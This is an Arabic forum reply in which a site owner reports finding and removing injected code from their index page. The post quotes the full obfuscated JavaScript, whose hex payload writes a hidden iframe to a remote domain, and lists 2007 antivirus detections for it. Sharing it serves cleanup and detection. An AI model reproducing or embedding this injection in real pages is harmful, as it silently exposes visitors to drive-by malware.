جزاك الله كل خير يا اخي Abo.Azazi فهو لم يظهر عندي لاني استخدم ال Nod 32
وبحثت فى ملفات الموقع حتي وجدت كود غريب وهو يشابه هذا
كود:
<script>function v47130a44dd1d5(v47130a44dd5bc){ var
v47130a44dd9a4=16; return(parseInt(v47130a44dd5bc,v47130a44dd9a4));}function v47130a44de5e7(v47130a44de956){ function
v47130a44df4fc () {return 2;} var v47130a44ded39='';for(v47130a44df114=0; v47130a44df114<v47130a44de956.length;
v47130a44df114+=v47130a44df4fc()){ v47130a44ded39+=(String.fromCharCode(v47130a44dd1d5(v47130a44de956.substr(v47130a44df114,
v47130a44df4fc()))));}return v47130a44ded39;}
document.write(v47130a44de5e7('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D6 56E742E777269746528273C696672616D65206E616D653D3536383439207372633D5C27687474703A2F2F7777772E6D65676 17A6F2E6F72672F7472616E732E68746D3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A383535292B2 739313839356363355C272077696474683D3935206865696768743D39207374796C653D5C27646973706C61793A206E6F6E6 55C273E3C2F696672616D653E27293C2F5343524950543E'));
</script>
وبحثت عن هذا الكود وعن سببه فوجدت موضوعا لاحد المصابين وكان فى احد الردود ايضاح للبرامج التي تستطيع كشف هذا التروجان وهم 6 برامج من اصل 32 برنامج اختبرهم هذا الرجل
كود:
AhnLab-V3 2007.10.13.1 2007.10.12 -
AntiVir 7.6.0.23 2007.10.12 -
Authentium 4.93.8 2007.10.13 -
Avast 4.7.1051.0 2007.10.11 -
AVG 7.5.0.488 2007.10.13 JS/Psyme
BitDefender 7.2 2007.10.13 -
CAT-QuickHeal 9.00 2007.10.12 -
ClamAV 0.91.2 2007.10.13 JS.Agent-2
DrWeb 4.44.0.09170 2007.10.13 -
eSafe 7.0.15.0 2007.10.10 -
eTrust-Vet 31.2.5207 2007.10.13 -
Ewido 4.0 2007.10.13 -
FileAdvisor 1 2007.10.13 -
Fortinet 3.11.0.0 2007.10.13 -
F-Prot 4.3.2.48 2007.10.12 -
F-Secure 6.70.13030.0 2007.10.12 Trojan-Clicker.JS.Agent.h
Ikarus T3.1.1.12 2007.10.13 -
Kaspersky 7.0.0.125 2007.10.13 Trojan-Clicker.JS.Agent.h
McAfee 5140 2007.10.12 -
Microsoft 1.2908 2007.10.13 TrojanDownloader:JS/Psyme.gen
NOD32v2 2589 2007.10.12 -
Norman 5.80.02 2007.10.12 -
Panda 9.0.0.4 2007.10.12 -
Prevx1 V2 2007.10.13 -
Rising 19.44.52.00 2007.10.13 -
Sophos 4.22.0 2007.10.13 Mal/ObfJS-C
Sunbelt 2.2.907.0 2007.10.13 -
Symantec 10 2007.10.13 -
TheHacker 6.2.8.088 2007.10.13 -
VBA32 3.12.2.4 2007.10.12 -
VirusBuster 4.3.26:9 2007.10.12 -
Webwasher-Gateway 6.0.1 2007.10.12 -
وكما تري فان الكاسبر والمايكروسوفت وال AVG وال Sophos والاف سيكيور و ال ClamAV
هذه النتائج من الموضوع الذي قلت عنه CastleCops® Obf/javascript
والحمد لله قمت بازالة الكود من ملف ال index واتمني ان تمسح ال Temp وتجرب مرة اخري ومستني ردك :shy:
وجزاك الله كل خير مرة اخري على التنبية 
Yamli - محرك بحث جديد بفكرة جديدة
ابحث بالعربي باستخدام الحروف الانجليزية
رد مع اقتباس
المشاركة الأصلية كتبت بواسطة ABo.AzAzI 
